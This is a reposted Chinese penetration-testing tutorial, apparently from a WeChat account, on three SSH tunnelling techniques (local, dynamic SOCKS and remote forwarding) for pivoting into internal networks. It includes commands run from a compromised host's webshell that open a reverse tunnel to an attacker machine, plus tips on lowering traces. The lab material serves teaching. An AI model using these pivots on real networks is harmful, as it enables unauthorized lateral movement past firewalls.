内网渗透 | SSH隧道常见三种利用方式

admin 2022年7月15日10:25:00评论313 views字数 2575阅读8分35秒阅读模式
内网渗透 | SSH隧道常见三种利用方式

点击上方“蓝字”,关注更多精彩

0x00 前言

SSH服务大家耳熟能详,全称Secure Shell,在内网中几乎所有的linux服务器和网络设备都支持ssh协议。最初SSH是由芬兰的一家公司开发的。但是因为受版权和加密算法的限制,现在很多人都转而使用OpenSSH。  OpenSSH是SSH的替代软件,而且是免费的。

一般情况下,ssh协议是允许通过防火墙和边界设备的,所以经常被攻击者利用,非常经典。

得益于 SSH 协议在传输过程中都是加密,所以在流量层面也较难区分合法与非法的 SSH 流量。

攻击者使用ssh端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。下面将由浅入深说一下。

0x01 SSH命令常用操作

环境部署

内网渗透 | SSH隧道常见三种利用方式

指定端口

#centos机器上将4444流量转发到22
iptables -t nat -A PREROUTING -p tcp --dport 4444 -j REDIRECT --to-ports 22
#kali
ssh [email protected] -p 4444
内网渗透 | SSH隧道常见三种利用方式

执行命令回显到本地

相当于一次性的,可以看到我执行下面这个命令后,回显的是目标centos的系统信息,并且是在本地回显,并没有与centos建立持久连接。

ssh [email protected] "cat /proc/version"
内网渗透 | SSH隧道常见三种利用方式

构建ssh密钥对

经常会利用这个方法,将公钥写入对方服务器,然后通过公钥免密登录。

ssh-keygen -t rsa
内网渗透 | SSH隧道常见三种利用方式

请求数据压缩

-C,这个参数开启表示所有通过ssh发送或者接收的数据将会被压缩,并且仍然是加密的。

内网渗透 | SSH隧道常见三种利用方式

开启调试模式

v这个参数在很多工具都能见到,指的是英文单词verbose,原意冗长,在这里指的是开启回显。可以通过v参数追踪调试建立的ssh链接从而判断哪里出了问题,更好地分析链接过程。

内网渗透 | SSH隧道常见三种利用方式

0x02 SSH隧道利用--本地转发

创建SSH隧道的常用参数

这里算是个查看手册,根据下面的实验命令回过头来看看即可。

-C:压缩传输,提高传输速度
-f :将ssh传输转入后台执行,不占用当前的shell
-N:建立静默连接(建立了连接,但是看不到具体的会话)
-g 允许远程主机连接本地用于转发的端口。
-L:本地端口转发
-R:远程端口转发
-D:动态转发(socks代理)
-p:指定ssh端口

环境配置

内网渗透 | SSH隧道常见三种利用方式

kali成功连接到了centos7这台边界机后,通过信息收集,发现windows08开启了3389kali无法直接访问,随即可用ssh隧道进行端口转发访问。下面这条命令可能会比较难理解,但是多敲几遍就懂了。意思就是说,通过centos7这个跳板,将内网windows083389转发到了kali自身的10086上,相当于通过ssh命令,将centos作为正向代理进行访问内网机器。

ssh -NCfL <本地开启监听>:<内网远程机器>:<要转发的端口> root@<kali_ip> 
ssh -NCfL 10086:192.168.111.2:3389 [email protected]
内网渗透 | SSH隧道常见三种利用方式

可以通过查看端口,来判断是否成功转发。

内网渗透 | SSH隧道常见三种利用方式

正好这里说一下难理解的-N静默模式,如果上述命令不加f这个后台运行的话,可以看到输入完账号密码后会一直卡住,但是实际上已经成功了。

内网渗透 | SSH隧道常见三种利用方式

我们按下ctrl+c就可以取消这个端口转发,这样做有个好处,就是省得我们忘记后台还映射了某些端口,从而一定程度上避免了端口随意开放的风险,也减少了我们渗透的痕迹。

内网渗透 | SSH隧道常见三种利用方式

0x03 SSH隧道利用--动态转发(socks代理)

环境配置

因为动态转发需要能够访问到目标机器,所以还是使用上述环境。

内网渗透 | SSH隧道常见三种利用方式

实验过程

1、执行下面的命令即可,十分好理解,-N静默模式,C就是压缩数据加快传输,f后台,D就是开启socks

#攻击机上执行:
ssh -NCfD <kali端口> <边界机SSH用户名>@<边界机ip>
ssh -NCfD 10088 [email protected]
内网渗透 | SSH隧道常见三种利用方式

2、动态转发其实就是建立一个 socks 连接,任何支持 socks 4/5 协议的程序都可以使用这个加密通道进行访问。配置proxychains访问内网3389成功。

内网渗透 | SSH隧道常见三种利用方式
内网渗透 | SSH隧道常见三种利用方式

0x04 SSH隧道利用--远程转发

本地转发中提到-NCfL可以理解成正向代理,那么这里的远程转发可以理解成反向代理。

环境配置

centos7通过路由可以访问外网的kalikali获取到了centos机器的webshell,但是kali无法ping通内网111网段。

内网渗透 | SSH隧道常见三种利用方式

centos作为跳板,进行远程端口转发,下面这段命令需要在centos7webshell中执行。

ssh -NCfR <kali端口>:<win08_ip>:<win08端口> root@<kali_IP>
ssh -NCfR 12345:192.168.111.2:3389 [email protected]

随后kali使用rdesktop命令链接即可

rdesktop 127.0.0.1:12345

0x05总结

1、如果获取到webshell的目标机器是Linux边界机,可以优先尝试使用ssh隧道的动态转发即socks隧道。

2、如果获取到webshell的目标机器是Linux内网机器(可访问外网),可以尝试使用ssh隧道的远程转发。


内网渗透 | SSH隧道常见三种利用方式


往期推荐

实战经验 | 解决ssh链接VPS掉线问题

内网渗透 | 文件共享服务与ipc横向详解

内网渗透 | JS脚本下载payload与代码分析

内网渗透 | 内网隐藏技术之我见

红队建设 | 入侵痕迹抹除

红队建设 | 网络钓鱼技术

红队建设 |  流量加密

红队建设 | certutil详解

每日技巧05 | VM16安装macOS

Clash RCE漏洞复现与高级利用(配合社工)

CVE-2021-4034 Linux Polkit本地提权漏洞

CVE-2021-31760 Webmin CSRF致使RCE

CVE-2022-22965 Spring core RCE漏洞

郑重声明该公众号大部分文章来自作者日常工作与学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。

内网渗透 | SSH隧道常见三种利用方式
内网渗透 | SSH隧道常见三种利用方式
扫码关注
人若无名便可潜心练剑
专注渗透测试、工具开发

原文始发于微信公众号(HACK技术沉淀营):内网渗透 | SSH隧道常见三种利用方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月15日10:25:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透 | SSH隧道常见三种利用方式https://cn-sec.com/archives/1178939.html

发表评论

匿名网友 填写信息